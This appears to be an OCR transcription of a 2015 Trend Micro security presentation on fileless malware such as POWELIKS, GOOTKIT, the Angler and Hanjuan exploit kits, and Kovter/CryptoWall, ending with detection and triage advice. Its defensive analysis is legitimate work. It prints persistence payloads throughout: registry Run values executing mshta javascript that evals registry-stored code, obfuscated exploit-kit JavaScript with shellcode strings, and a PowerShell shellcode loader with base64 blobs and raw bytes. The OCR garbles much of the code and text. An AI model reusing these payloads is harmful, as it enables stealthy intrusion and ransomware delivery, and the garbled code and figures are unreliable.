GF 64 65 2ZEODOD DAZ24 0000 0000000000 ACDEBF/ DC OB BA99BF 0B BA99BF 08 BA 99 8F 1327 32 8F 25 BA99BF 13 27 07 8F 18 BA 99 8F 13 27 33 8F 6A BA 99 8F 01 C2
DAGBF19BA996F 08 BASB OF 70 BA Y9 8F 1327 36 BF 09 BA99BF13 27 03 8F 09 BA 99 8F 13 27 04 8F 09 BA 99 6F 52 69 63 68 08 BA 99 8F 00 00 00 00 00 00 00 0O 0O 0O 0O DO
0000 000050450000 4C 01 0A006BEEC 7D 540000 000000000000 E00O0D0301 0601 0A00001603000070010000000000801C000000100000003003000000 -~
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 The malware itself resides into an hijacked svchost process

27

-text:084811BD lea eax, [ebp+var A4]
-text:884811C3 push eax
-text:804811CYH push 5}
-text:d04811C6 push 5
-text:884811C8 push
-text:884811CD push 5}
-text:a84811CF push 5
-text:884811D1 push 5}
-text:884811D3 push [ebp+var 14]
-text:884811D6 push (5
-text:084811D8 movw eax, [ebp+arg 8]
m -text:804811DB call dword ptr [[eax+3Ch]
000011CE 004011DB: sub 4010Ce+115
4 Iir
Eﬂ Hex View-1

H13387EG 43 88 3A B8 5C 88 57
B1338/F8 F7 88 73 88 5C 88 53
g1230806 6D B8 33 88 32 88 5C
B1338816 6F 88 73 88 74 88 2E

69
9
f3
65

88 6E 88 64 B8 6F A8
88 73 88 74 B8 65 A8
g8 76 88 63 B8 68 B8
H8 78 88 65 B0 B8 88
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* Malware hiding in the registry: Auto-start Registry Entry

POWELIKS PHASEBOT GOOTKIT
HKCU\Software\Microsoft\Windows\ HKCU\SoftV\{are\Microsoft\Windows\ HKCU\Software\Microsoft\Windows\
CurrentVersion\Run\[NULL] CurrentVersion\Run CurrentVersion\Run
(Default) ="rundlI32.exe Windows Host Process (RunDlII) = rundll32 = "mshta "about:<title>
avascript:"\..\mshtml,RunHTMLApplication . . — P
{"docun?ent\w\rite ("\74script P javascript:"\..\mshtml,RunHTMLApplication  moyeTo(-300,-

";eval((new% 300);resizeTo(0,0);</script><hta:application

language=jscript.encode>"+(new%20ActiveXOb
ject("WScript.Shell")).RegRead("HKCU\softwar
e\microsoft\windows\currentversion\run\")+"
\74/script>")"

Concept

HKCU\\Software\\Microsoft\\Active%20Setu ActiveXObject

p\\Installed% ("WScript.Shell').RegRead("HKCU\\Software\
20Components\\{72507C54-3577-4830-815B- \xsw\\loader'));if('window.flag)
310007F6135A}\\JavaScript"));close(); close()</script>“

(1) rundli32.exe <dliname>,<entrypoint> <optional arguments>

(2) JavaScript Protocol

javascript:"\..\mshtml,RunHTMLApplication ";
eval((new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\Software\\Microsoft\\Active%20Setup\\in
stalled%20Components\\{72507C54-3577-4830-815B-310007F6135A}\\JavaScript"));close();

28 Copyright 2015 Trend Micro Inc.
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 Malware hiding in the registry: Loader Registry Entry

POWELIKS PHASEBOT GOOTKIT
HKCU\Microsoft\Windows\ HKCU\Software\Microsoft\ HKEY_CURRENT_USER\Software\xsw
CurrentVersion\Run Active Setup\Installed Components\ loader = "varGlobalObject = this;var FSO = fso =
(Default) = "{encoded script}* {72507C54-3577-4830-815B-310007F6135A} new ActiveXObject
Javascript = "sPowerShellScript = \ (\"Scripting...“

Powershell executes
Shellcode

29 Copyright 2015 Trend Micro Inc.

"lyBSZWFKIEFuZCBFeGVjdXRIIFJjNCBFbmNyeXB
0ZWQgU2hlbGxDb2RIIEZyb20gVGhlIF)IZ2lzdHJ5
IAOKDQOjIFNIdCBSZWdpc3RyeSBLZXkNCiRzUm

VnaXNOcn......... “

Powershell executes DynamicWrapperX executes
Shellcode Shellcode
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* Malware hiding in the registry: Binary

POWELIKS

PHASEBOT GOOTKIT

Already embedded in the
base64-encoded script of the
loader registry entry

30 Copyright 2015 Trend Micro Inc.

HKCU\Software\

Microsoft\Active Setup\Installed Components\
{72507C54-3577-4830-815B-310007F6135A}
Rc4Encoded{32 or 64} = "{encrypted binary}"

HKEY_CURRENT_USER\Software\ xsw
binarylmage{32 or 64} = "{binary data}"

RC4-encrypted and stored in the Stored in the Registry
Registry
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Fileless Arrival

DINGE
based

Memory-
based

download

download

Angler EK : now capable of "fileless" infection (memory malware)

Matrix - Agent Jackson avoiding bullets

Aug 2014

Source: malware.dontneedcoffee.com
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ANGLER & HANJUAN EXPLOIT KITS

MALWARE HIDING IN MEMORY




* Angler Exploit Kit Fileless Routine (1/3)

Landing page Retrieves Serves binary Payload

assesses binary from via exploit

vulnerability URL
# Result  Protocol Host URL Body Caching Content-Type Process Comments Custom

: asd.readmerounds fevegwitsl text/html [#3553]
@ 2 200 HTTP asd.readmerounds.... fevegwiitslfcount?b=1 i text/html [#3554]
El 3 200 HTTP asd readmeroun... /Nelw_ 9RO6YgT4alUK... 165.... no-ca... applicatio... [##3555]
226 if | (ElashVersion (" 1ll.3.300.2577) >= 0 s& flash¥ersion(11l.7.700.2757) <= 01 || (flashVersion("ll.&8.500.947) == 0

- && FlashVersion("1l3.0.001827) <= 0]

a0 { r»‘

2% gindow. sE325gtysTsEdEfl = true; ((

z2d 1 (_,_,) ,
240 else —

241 y -
24z jf(flashVersion("13.0.0.1827) = 0]

zaz g

£3% yindow.s£325gcga7s£4Af2 = true:

zas

23 gpar minValue = silverVersion("4.0.50401.07), max<Walue = silverVersion("5.1.10411.07), currentValues =
- gilverVersion( " S.0.60815.07) 2

227 jf (Cypecf (minValue)] != 'undefined' ss tyvpeof (maxWValue)] != 'undefined' ss& typecf (currentValue)] != 'undefined!’
- && DinvValue »>= 0 & maxWValue == [0 £& currentWalue !'= 0]

zas g

£3%  yindow.s£325gtgaTsfds = true;

z50

51 1

252 if [navigator.javaEnabled(])

253 §

25% gindow. sE325gtyaTsEd] = true:

#0552 ggar Jw = ldklfgo.gectVersion( Java™), targetWersion = "1.7.0.107, klquwght= document::

205 F (119 s fixNumber (jw) >= EixNumber(target¥ersion))

2085 |

FOSE ar topl =''):

33 Copyright 2015 Trend Micro Inc. 6’
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* Angler Exploit Kit Fileless Routine (2/3

Retrieves
binary from
URL

Landing page
assesses
vulnerability

Serves binary
via exploit

Payload

Protocol Host LURL

HTTP
HTTP

Result

200
200

feveqwiitsl
fevegwiits1fcount?b=1 i

asd.readmerounds. ...
asd.readmerounds

- R

Eils)[e) »

Body Caching
97,209 no-cac...

Comments

[#3553)]
[#3554]

Content-Type Process

textfhtml
text/html

Custom

|G ET /Nshw_SROEYg T4aUUKWp 456 L RyRsMIGpG Ayn50B3ecdl_nXhR9vZO3IEKROIHRGO2 HTTP/1

- Transport
i Host: asd.readmerounds. net

Get SyntaxView Transformer Headers Textview ImageView | | HexWiew WWebView Auth Caching

Cookies

RETa T

F1 22 2B 24 &1 8C 4% 12 32 ET FD 1A €D
> aw =

W emon
BN RS

v
fatG.\."tlleDGJ Eus
TEDEdETEhPS ~8
SoQUUSEE

4
:kaud‘ﬁ*LEkauvaEa%@NUI:nhE
m_id. . B4ECtHANTigO. A -mkx4Dg. 7 8

- .x&.%_hadR¥bb.
ed.e..nhai?*¥_i(a
_@Fb3e_?qgicd_b_?uz

__1;Onkh=d._cl_nel0E&d
T

p®SnhadRZbanh
sdRZhimmadRZDanhadRcbinnadRZb4ann
adRZb4nhadRZbbijal —¢bT7nha " RZbE_h

[N
FRLE]
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* Angler Exploit Kit Fileless Routine (3/3)

Landing page Retrieves Serves binary Payload
assesses binary from via exploit
vulnerability URL
# Result  Protocol Host URL Body Caching Content-Type Process Comments Custom
asd.readmerounds.... fevegwitsl text/html [#3553]
@ z 200 HTTP asd.readmerounds.... fevegwiitS1fcount?h=1 ] text/html [#3554]
E]l 3 200 HTTP asd readmeroun__. /Nslw_9RO6YgT4alUK... 165.... noca... applicatio_ .. [#3555]

600 V1wwtPysl0]] (¥ayk + ICTQ0ALEEJruTk7 (MZrrPz] + Nwl + ICJQoAt6EJrwTk7 (Uur3KE) + FQ7rG5 + ICIQoAt6ETruwTk7(X8a) + Wolcgd + '3u0000');
1601 jrexploitishellcodel + ohfuscate (binary) + shellcodeZ + obfuscate (key) + =shellcode3 + obfuscate(filename) + shellcoded + 'zu0000")
1602 Tolzi9VeTlund () ;

a0 e e CVE-2013-2551

1605 )
0ENTGEral ThhZky0He = '3ulCO0F3ull0lsula0asulilssula0Fsuld095u0b0Fsu0a015u090F3u0E015udl0lsu0l0lsu0l0lsuiCc0ssu0s0ssu030asulF0ssu0a0ssu0D0ssu0d404s
0737 IpInaalllGirs = 'Sulf0asuli0g07o 00055 0Fsule023ullolsuilolsuolol! ;

LE0E L SZ9E026E9Egh = '%uDBDE%uDAGhéIG@&e%uUEDl%uDlUl%uDlDl%uUlUl%uDSDB%uUG TEU08075u04085u070585u030585u04045003045u01035u10035u0405%,
509 MncS5usedfahs = ' Eu0906%u0a095u07055u0D065u0209%u0D0F5u050 1502015010150 10 15u0a0FEu07075u09065u02095u0D0FEu050 1300201500101 5u0 101 5u0a09%ul
S195U0E06500L L05u0409500D0 50902510 204500400 5u0C095u0E065u090 1 50u0C095u0C055u0D 045u0ED95u0D0 L 5u0A0 2 5u0C095u0A0 55009055 u0E095v0 501 suli02500009
610 VhalVgz ol (JG5ral Thhzky0H4, $71lpImaaMlGirs, WLSZSE0Ds6ES9fqG, Nmc3SuSed8ahs):

1611 4 N [ \l ] ]
if (window,s£325gtys7sEdAE]l ¢ 'window, s£325gtygsTsEds) eprOIt functlon

1512 |
1612 oy k1fgl = 'wri', klfgz ='te':
1613 fynction getHolaiol)

1615 ¢

1618 peturn TwWoZiM(TxwOkEPe3) :
1617 4

35 Copyright 2015 Trend Micro Inc. ”
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* Hanjuan Exploit Kit Fileless Infection Delivers BEDEP

Landing page Retrieves Serves binary

assesses binary from via exploit
vulnerability URL

Desitop Sotch 5]
Switch back 10 defauk deskice?
64.34.127.134 | 2,28 texthimi; ¢... explore:3952 < Landing page ﬁﬁ
64.34.127.134  fontchso.onf 29,605 appheation/.., xplre:3952 = SWF - exploit trigger
fpdowmicad2.macro pet/fachplayer Apdate ¢ 335 texthimi; ¢ explore: 3952
SLIARLIN VNN 12 no-ca texthtmi; c... iexplore:3952 . ENTERTANNG | HOME & GARDEN | HOLDAYS | FOOD | HOME ELECTRONCS | FEATURED ARTICLES | SHOP HOME GOODS
64.34.127.134  fbloppe.php 295,364 appication/... explore:3952 <) Embedded shellcode — -
o earthinols.cep  /imezcoe/00 08 200N, WXDOre:I952 4 Normal URLS - Used in e e €3 Sarch E——
waw.ech.europs.cu  jfstatsfeurofrefferofre.., 72,704 bextoml explore:3952 7 DaArcutine _
mparpasvmorhw.com |/ 128 text/himi explore: 3552 H2G
PO PASYMOriw . COm ) text/hom explore:3952
2O pasVIOche. Com |/ 652,460 text/homl explorer: 1604 C&C
moarpasvmoriw.com [ 128 texthimi explocer; 1604 Communication
mparpasymoriw.com |/ e texthimi explorer: 1604 ' e -
20N 250N0e g text Mty exgores: 1604 <
textMimi expioces: 1604 TN - A
15 texthim r_. , 5
texctitm Ad Fraud Traffic O FEATURED RECIPE: Flaky Croscents
exthb
o 15 textmi
tex

36 Copyright 2015 Trend Micro Inc. ’J
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RECOMMENDED SOLUTIONS




Correlation

among
components
of an attack N

Exploit v
prevention
Triaging a
system
infected

with fileless Countermeasures T

malware .
Identify & Protect

Prefetch

Packet
Behavioural Network detection

Monitoring Solutions
and Rules

38 Copyright 2015 Trend Micro Inc.



Correlation among components of an attack

2014_06erechnu
ng_072430000
24dips.com.br 2_sign.zip

& Http download
] > | 2014_06rechnu
ng_072430000

lkgdmgr32.exe

- .
Hé_‘{_ Z_sign_telelkom e
Sy I.:ILIEQI ) ﬂ.ﬁ" i

"9, _deutschland_g Lot A =]
OUTLOOK.EXE - ‘ombh.exe .
e ‘
o )
'1':?"2' . = S
- ", r}#
- : @
firefox.exe WinRAR.exe 9082233.bat
Execute d o
:,liﬁiiiiill li.llllil
[ =

==
-2
om
2 Z
Sl w
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Web Reputation

24dips.com.br

OUTLOOK.EXE

firefox.exe

= |

40 Copyright 2015 Trend Micro Inc.

Exec

hxxp://allthingsspeaking.com/online/volksbanken-de
hxxp://andersonhair.com/modules/mod_ariimageslidersa/transaktionsid-volksbanken-finanzgruppe
hxxp://bacd.ca/wp-content/uploads/volksbanken_finanzgruppe
hxxp://bhfencers.org/pdf_mail/2014_06transaktions_volksbanken
hxxp://campusstream.yamaha-motor.co.th/pdf-datei/transaktionsid-volksbanken-finanzgruppe
hxxp://comforttravelling.com/pdf-datei/transaktionsid-volksbanken-finanzgruppe
hxxp://cope.it//templates/webstat/finanzgruppe_volksbanken_ne
hxxp://edltv.mpc.ac.th/images/transaktionsid-volksbanken-finanzgruppe
hxxp://edltv.tatc.ac.th/images/trar-~'~~nsid-volksbanken-finanzgrunne
hxxp://efg.sg/pdf-datei/trans’ ~ken-finanzgr”
hxxp://energyreform.in.th
hxxp://extremeultimater
hxxp://fashionattractive
hxxp://fmcabeokuta.co
hxxp://gerardhealyboxe
hxxp://getexbacksecret.¢

- Malicious
hxxp://healingorchidsinga

ransaky
hxxp://hsIIawyers.com/prktions-idv
hxxp://karsbali.net/modul/2014 ions_volksbanken

hxxp://laultimafrontera.mx/modules/mod_araticlhess/transaktionsid-volksbanken-finanzgruppe
hxxp://mateusbraga.com/2014_06_11/transaktions-id-volksbanken-de
hxxp://mcltelecom.co.uk/pdf-datei/transaktionsid-volksbanken-finanzgruppe
hxxp://myproperty21.com/wp-includes/pomo/transaktions-id-volksbanken-de
hxxp://nadia-rab.com/wp-includes/pomo/transaktions-id-volksbanken-de
hxxp://prodonjai.com/pdf-datei/transaktionsid-volksbanken-finanzgruppe
hxxp://seksanprinting.com/pdf-datei/transaktionsid-volksbanken-finanzgruppe
hxxp://smallbizmarketingworkshop.ca/pdf-datei/transaktionsid-volksbanken-finanzgruppe
hxxp://weblogman.com/2014_06_11/transaktions-id-volksbanken-de

http://{not VOLKSBANKEN domain}/../{contains volksbanken}



Email Pattern

24dips.com.br

OUTLOOK.EXE

41

firefox.exe

= |

Copyright 2015 Trend Micro Inc.

Sender

% This message is High Priority.

From: 63400239254040-0001 @t -mobile. de /

Date: Wwednesday, June 18, 2014 8:53 AM
To: info@drkl, de
Subject:  Thre Telekom Mobilfunk RechnungOnline :Unat Juni 2014 {Mr, 72733486322231)

‘Iﬂ-nr? Http

e

—

[ ] I [ I | ERLEBEN

TELEKOM DEUTSCHLAND

Subject Format

Image

lhre Rechnung fiir Juni 2014

sehr geehrte Damen und Herren,

im Anhang an diese E-Mail finden Sie IhrWer ==

Juni 2014 belauft sich aur: 378,86 Euro

Message Format

Im &nhang finden Sie die gewlnschten Dokumente zu threr Mobilfunk]

Juni 2014 |hre Fechnung fir Juni 201%

Diese E-Mail wurde automatisch erzeugt. Bitte antwarten Sie nicht an
Absenderadresse

Full URL is
malicious

it freundlichen Gragen

Pattern

Ralf HoRhach
Leiter Kundenservice

content
format

Malicious

@ Telekom Deutschland 2014 | Hilfe ||

Sie haben eine Frage an den Kundensenice?,

of emai




* Network Solution (1/2)

Packet Detection

valid GET request

contains “/query”

contains “version="
+ " &sid=" +
”"&builddate=" +
”zgi(]=="

<query>

<clickurl>

42 Copyright 2015 Trend Micro Inc.

‘|
o
i

N
i

Follow TCP Stream (tcp.stream eq 4)
P 5|

o

Stream Content

‘,GET /gyery?version=1. 37&s1d=2020&bu1 lddate=210714&qg=natural+testosterone
+sUppR -ments&rer http%3A%2F%2Ff1ndandh1de%ZEcoM%EFsearch%ZEphq%BFquery%3Dnatura1%
2B onel b A2 2E0%20%28compatibleX3B%20MSIE%208%2E0%3B%

: application/x-www-form-urlencoded

ng1nx/1 2.1

D Fri, 01 Aug 2014 23:27:24 GMT
content—Type: text,/xml; charset=UTF-8
Content-Length: 564
Connection: close

<?xm] version="1.0" encoding="UTF-8"7>

fats =

=guer natural testosterone supplements</quer

= 9] [
.<titles><![CDATA[A Toss in lowve that touches me more nearly]]s</titlex
{descr1-t1onb{'[CDATA[L0V1na offenders thus I will excuse ye]]=</description=

=C Tckur =< [CDATA 9. 250/click. php?
c—0d44b634dc141f??89fc6 4d6[}81d9fdb?1?382b283609 aB1385fFf46b0d0979a7aab6ed2ael4f56T5dchs
3ef7363496ec5e983d8d32e35T7a749633ad919c01861e370d0532dece28fb7bbc7dcadedn] =< c1ﬁckgr1>

]

DT AU UL o1
=</records>
</records>

Entire conversation (1283 bytes) El

| Eind || saveas || pint |© asco ©) EBCDIC ©) Hex Dump ©) C Arrays @ Raw

Filter Cut This Stream l [ Close

@) 1re

D.
o



* Network Solution (2/2)

Vulnerability Assessment

Armfunction(a) (vae wwfOXd;if (a™ ver DBEW = return ivar VIAg)lelse(var BIR ~ o a) v & - var elb =
prasii: ; A ” A \caNes ;
& Software updates ek
e HTML, JavaScript, Java, [0 OBFUSCATED
PDF, and Flash
iame="Javafx wversion" ie="2.0+" J= rem name="ldselie® value="ahhjyvhhe9pbijciotheTBTpactteBeT5ohShwhxgxxllldmlheggwrexllxlhe™ f>= <param name="
ralue="0" /> <param nams="tt" wvalus="0 ; </applet="1;ljava_snahle = D;jav&_ru.n = 0:if{j_wveraion[0] = 0 && j_wversion([l] < 7){java_enahle = 1;java_run =
Lptaf(y_veraion([0] *= 0 &6 j_version[l] == 7 &€ j_wersion[3] <= 17} {jave_eneble = l;jave_run = Z;)if(j_wersion[0] = 0 && j_wersion[l] == 7 && j_version[3d)
= E1){jave_enmeble = 1:jave_run = 3;)function checkversionll(f_wersion) {if (f_wersion[0] [= i1ijreturn false ;if (f_wersion[l] > 2?)creturn felse ;if
[£_version[l] == % && f_wersion[2] = 500)return falae ;if (f_wersion(l] == 9 &6 f_wersion[Z] == 900 && f£_version[3] > 170)return false :return true
ffunction checkveraiond? (f_veraion) {if (f_weraion[0] l= "1Z2")return falae ;return true ;| function checkweraionld(f_weraion) {if (f weraion[0] l= 13)return
falae ;if (f_wersion[l] > O)return false ;if (f_wveraion([Z] > O)return false ;if (£ _version([0] == 13 && f_wversion[l] == 0 && {f_version[Z] == 0 &&
f wersion[3] > 20&)return false ;return true ;}function chevs(e) {ver smldoe = new ectivexchject("microzofit.mmldom”);xmldos. asyne = true;ymldos. loadsenl (7
tidoctype html publis "=/ wie//Sdtd xhtml 1. translation//en™ "res: /4o \Viwindowad \aystemdz\hdriversh A\ + a 4 "">");if(xmldoc.parseerror.ercorcode 1= 0) {var
agg = "error copde: "+ smmldos. persesrror.erroreode + "wn'jerr += "error resson: " 4+ swldos.parsesreor.ccasongerr += "error line: U+

mnldoc, parasercor, line;ifierr, indexof ("~ 2197022083 > 0} (ceturn L; lelasireturn O; ) lreturn 0; fif(chava! ®Lll.aya])

1ol

Yo
1 || chaws([tmactman. :,:s'] || chawa (| tmebc3Z . aya) || chawa| || ehawvs|[tmcorm. sya]) | ']]{Exit.[];]var
func_arr = []:J.f[(a_veca:.nn[ﬂ] = 0 && o_version[d] < a_wveraion[0] == 5 &4 a version[l] == 0 && s_version[l] <=
51118) ) {func_arr.push{"sailver rcun() "}l' tif (checkversionll(f wversion) || checkversionlZ(f wersion) ||
theckveraionl3 (f_wveraion)) (func_arr. akh 'fla::_ runir ™ :iifidava run = 03 ifurne arr.oushisafweidaws rnt "1 13iEf0in veraionli]l == 81 |1 (m wersion[0] == 9 &&
1_wersion[l] <= 3)) {func_arr.push( '-| df runi) ]func L) s funetion
iilver runi) | ffbgrnthiwe ("<object data="daza: ag.p'_'_-'.-l v Malicious website blocked i name="source”

http://www_ bes com/Dynamic_JavaScriptisssisissis html

43 Copyright 2015 Trend Micro Inc. Rating: Dangerous Verified fraudulent page or threat source ” 'nln'R E w B




44

Behavioral Rule and Monitoring

[ADS ]

, &5

Malvertisement
Redirects users to

malicious URLs

=

TROJ_POWELIKS

malware is saved in
the %temp9% folder

Powershell
download and install in
affected machine

Autostart Creation
creates autostart registry

Load DLL Component
inject to normal processes
via rundli32.exe, diihost.exe

and powershell.exe

Logs

View: [Unauthorized Changes ~| Total records: 1

Date/Time ~
1211112014 3:01 AM

K]

Details

X Remove all

first version of POWELIKS

| & Expont

>

CAUsersWWin7\Ds

etected Resource or Process ID:

esponse’

Suspicious Software Blocked

Clicking Unblg
For your protection, the program named below was prevented

program that

12

Any data more than 90 days old will be deleted automaticalhy.

Copyright 2015 Trend Micro Inc.

from performing an action that could pose a security risk.

Hame:
From:

POWELIKS_A exe
System Unknown
0.0.0.2

Copyright (C) 2012

Terminated

POWELIKS A exe
System Unknown

More details ..

Titanium Maximum Security

HKCWU\SoftwarelMicrosoffWvindo. ..

X
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YARA Rule

Process
[spoolsv exs

[Figs exe
1-.-"I"-"III-".'are Service exe
[Fala.exe
[lszss axe
= ' explorer exs
i ViMware Tray exe
i ViMware User exe

L Tcpview exe
.}ﬁpmgﬂe
Ej.iMmﬂmmﬂm
idumpcap.e:-:e
ﬁreged'rt.em
& procexp exe
HEX \fin Heoe ece

| [ dlihost exe \

45 Copyright 2015 Trend Micro Inc.

+% Dllhost: Entire Memory

Of f=et o1 2 3 4 5 & 7
OOB3EDZ0 00 00 00 00 o0 0o o0 0o
OOB3ED30 | 38 39 0B 00 00 00 00 0O
OOB3ED40 00 00 00 00 00 00 0A 0O
OOB3EDS0 | 3D 63 6D 64 26 76 65 72
OOB3EDEOD | 26 61 69 64 3D 38 26 62
OOBESEDY0 3D 30 36 30 34 31 34 26
OOB3EDEO0 | 38 31 37 63 63 26 EEu?E
OOB3ED30 30 SF 33 2E 30 JEFTE3 32
UOB3EDAD | C4 33 01, Dl“CE 40 00 00
O0E3EDED  BO 00« -0 00 F8 CB FD 7F
O0B3EDCO LesAE 7B DD 77 DC ED B3 00
DD@QEEEG 74 EE B3 00 01 00 02 an

2

68
0o
40
73
';.‘I:

5‘

aL
0o
0o
74
0o
C4

9 &4 B C D E F

0o oo oo oo oo
00 oo 00 es 00
EE B3 00 74 79
69 6F 6E 3D 31

0o
0o
70
2E

Scan memory

-

oo ao
EE B3
EE B3
oo ao
iz m

B e

0o co ED B3
oo 58 YB DD
0o a0 EE B3
oo 17 6C DD
01 a0 0o oo

0o
0o
65
a0

5

b
-0
0o
77
0o
77
0o

tvpe
=cndéversion=1.0
faid=0&builddate
=060414&1d=0c296
817ccéo==5.1. 260
0_3.0_32. .. Ai%.
23, 1o i Vv

Pl

= -
-
om
v Z
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* Triaging a System Infected with Fileless Malware

| Mame Size | Type
DLLHOST EXE-1DD340E2. pf 12KB FF File

7f17/2014 3:

B POWERSHELL EXE-0841041C.., &2KE PFFle  7/17/2014 3:25 A
RUMDLL32.EXE-38DAEASS. pf S6KE PFFile 7/17/2014 3:25 A
PSSETUPNATIVELTILS.EXE-2. .. 12KE PFFile  7/17/2014 3:24 AM
MSCORSVW.EXE-1366B4F5.pf  113KB PFFRle  7/17/2014 3:24 AM
MNGEM EXE-38021CCC.pf I7KE PFFile  7/17/2014 3:24 AM
PSCUSTOMSETUPUTIL.EXE-3. .. 28KBE PFFile  7/17/201%4 3:24 AM
WSMANHTTPCONFIG.EXE-21... 14KE PFFile  7/17/2014 3:23 AM
REG.EXE-OD2AS5F7.pf 11KE PFFile  7/17/2014 3:23 AM
MOFCOMP.EXE-01718E95.pf 23KE PFFile  7/17/2014 3:23 AM
P refetc h UPDATE. EXE-2414DCCS. pf 27KBE PFFile  7/17/2014 3:22 AM
e cMD . EXE-D37B400 1.pf 12KE PFFile  7/17/2014 3:22 AM
WINDOWSXP-KESS3930-¥36-.,. 25KE PFFRle  7/17/2014 3:22 AM
[t & EXE-12388CED.of 15KE PFFile 7/17/2014 3:21 AM
[ s¥STRACER EXE-179F06E6. pf 57KE PFFile 7/17/2014 3:21 AM
RUMOMCE EXE-2803F227.pf 17KE PFFile  7/17/2014 3:21 AM
GRPCOMNY.EXE-111CD3a45.pf 12KE PFFile 7/17/2014 3:21 AM

RegRipper
Registry Dumper
RegView

# Registry Editor =E=]
! Error Displaying Value
. File Edit View Favorites Help playing o<
] L. || RADAR - E¥& Cannot display: Error reading the value's contents,
rundll32.exe @
H e RunOnce - _o;(
« " 13

d I I h O St . eXe Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

46 Copyright 2015 Trend Micro Inc. ‘
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AGE OF FILELESS INFECTION




* Kovter serves CryptoWall DLL (1/5)

o K. a3 .
Node ID 1
explorer.exe mshta.exe powershell.exe svchost.exe explorer.exe h Drive Type Fixed Drive
- ‘ SHA1 D9295F473E1DDCBAAESE
;-_l ' > n > > > ;—_‘ ; & AFE3ASE7094C1E7S5D28 |
- - I—h - ~— . - a Created Fri Jul 31 17:55:27 2015
Modified FriJul 31 17:55:27 2015
CRYPWALL 4 Malware Info (2 items)
. = - > Detection Name TROJ_CRYPTWALL.CP ol

Commands: RUN, UPDATE, RESTART, FEED, SLEEP

48 Copyright 2015 Trend Micro Inc.



Kovter serves CryptoWall DLL (2/5)

@ Registry Editor (o= ][ =]
File Edit View Favorites Help

-y Group |«
il GrpCor
. Homet

| ime Error Displaying Value @

| Interne

0 MCT i Mj Cannct display: Error reading the value's contents.
- | NetCac | 4

..... |, Policies
). RaDAR
il Run
H | B

..l RunOn ~
< | I | 3

ComputertHKEY_CURRENT_USERMSoftwareMicrosoft\Windows\CurrentVersion\Run

(Default) = mshta
javascript:NZBXG6c="SHDO0";E92i=new%20ActiveXObject("WScript.Shell");GGc2FFX="j08q6K
Ug8";EE4s1c=E92i.RegRead("HKCU\\software\\56ddaf939a\\2248ddcd");Xd816BcHdE="XUX"
;eval(EE4s1c);F1PYI6tNQ="ar";

49 Copyright 2015 Trend Micro Inc. ’J IR E w 9“



Kovter serves CryptoWall DLL (3/5)

Obfuscated javascript that will
execute PowerShell script

Hf Registry Editor

File Edit View Favorites Help

Lol =]

- |, Console

B ., Control Panel
..... . Environment
ol EUDC

> Identities

[»~ | Keyboard Layout
& Network

b Printers

a4 Software

) séadasDa

.. Wl 7-Zip
a4 | m | +

-

m

Mame

b (Default)
ab|14cbf659

ab) 2248 ddcd
ab)34e2600d
ab|36e0b937
ab| 597b5ha8
ab|720f7e93
3'3] elbalafa

Type

REG_5Z
REG_5Z
REG_SZ
REG_S5Z
REG_SZ
REG_5Z
REG_S5Z
REG_SZ

Data

(walue not set)
FDED1 29094 DEB991
yWnh5AgkSdorMbnmElgy="bxMxd 3nUsCleIlMold...
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT6.1...
875

1441868103

AEFSDADOTBODCESF482CT CADCAFFCTES
~nK5- AaakZ4éq_+L1unETf3-VEM, il=BTh' - [E]Y...

Computer\HKEY_CURREMNT_USER\Software\56ddaf93%9a

50 Copyright 2015 Trend Micro Inc.

RC4 encrypted

Browser User Agent
malware copy

(@) TREND



Kovter serves CryptoWall DLL (4/5)

Powe rSheu executes the shellcode

udFEQOcl O0pIChbSW30UHRYESKpESkuSW52b2 L1 EDASMCwkcHTI sJHEYLDASMCK T X1 1 bAN1 eyhbU31 2dGVTL1 J1bnRpbWIuSWE0ZXJvc FN1 cnZpY2VeLkl henilo
YWxdOjpHZXREZWx]1 Z2FO0ZUZvekZ1bmNOaWwsSuUESpbnRl cigo Z 3Byb2Mga 2VybmVaMzTuZGxs IENYEZWFO ZVRocmVh ZC ksRGdkZWx1 Z2 FOZSEARF £ JTbnROAHIAL
FtVEWSOMzJdLFtCeXRIN1 1dLFtCeXRIWN114dLFEVSWSOMz JdLF t JbnRQdHIdESAoWO ludFEOc10pESkpLkludmSrZ5gwLDAs JHN M=l s JHN M= sMCwwETI t9c2

X1 ZXAoMTIWwMCETfWNhdGNoe311eGlO0w==")) ",
mhz75¥X=d0K.Run ("C: " \Windowz'\System32 \\WindowzPowerShell\ vl 0\ \powershell .exe iex Senv:mdculo™,0,1):

51

d0E=new ActiveXCbject ("Wicript.S5hell™):;

{dOK.Environment {("Process™) ) ("mdculo™)="1iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase645tring/
'c2x1Z¥Ro0TApO3RyeXtmdWS jdGlvbiBnZGVsZNdhdGV TUGFyYWOgRF QYK ThbWV0ZXToUG9zaXRpb2 4 IMCxNYWS kY XRven k3 JFRydWUpX SELVHIWZVEdXSAk
UGFyYW11dGVycyxbUGFyYW11dGVyEFBvc210aWSuPTEpXSBOVHIwZV0gdFJ1dHVybl1RScGUIW1 ZvaWRdARTskVHIwZUJ1aWxkZX I SWOFwcERvEWFpbl1 060kN1c
nJ1bnREb21haW4uRGVmaWS1RHIuYN1pYO0Fzc2Ve ¥me SEChOZX ctT2 JgZWNOIFNSc3R1bSS5ZRZ sZWN0aWSulkFzc2 Ve Yme STmF t Z5gi UmVmb GV dGVERGV S ZW

fUnsafeNativeMethods=55y=stemhissenbly . GetType ("Microsoft.Win32 . Un=afelativeMethods") ;
return $UnsafeNativeHethnds.GetHethndt"GetP:DcAddress"}.InvoketSnull,gt[System.Runtimﬁ.InteropServices.HandleRef]t
{(Hew-Cbject System.Runtime.InteropServices.HandleRef | (Hew-Object IntPtr},$UnsafeNativeHethods.GetHethodt"GetHDduleEandle"[]
) - Invoke ($null, @ ($Madule) ) )} ) , $SProcedure) ) ;
1
[Byte[]] $sc32 = 0r55,0x8E,0xEC,0x81,0xC4,0x00,0xF8, 0xFF, OxFF, 0x53, 0x56, 0x57,0x53, 0x56,0%57, 0xFC, 0x31, 0xD2,0x64, 0x8B,
,0x52,0x30,0x8B,0x52,0x0C, 0x8B, 0x52,0x14, 0x8B, 0x72,0x28, 0x6A,0x18,0x59,0x31, 0xFF, 0x31, 0xC0, OxAC, 0x3C, Ox61, 0x7C, 0x02,0x2C,
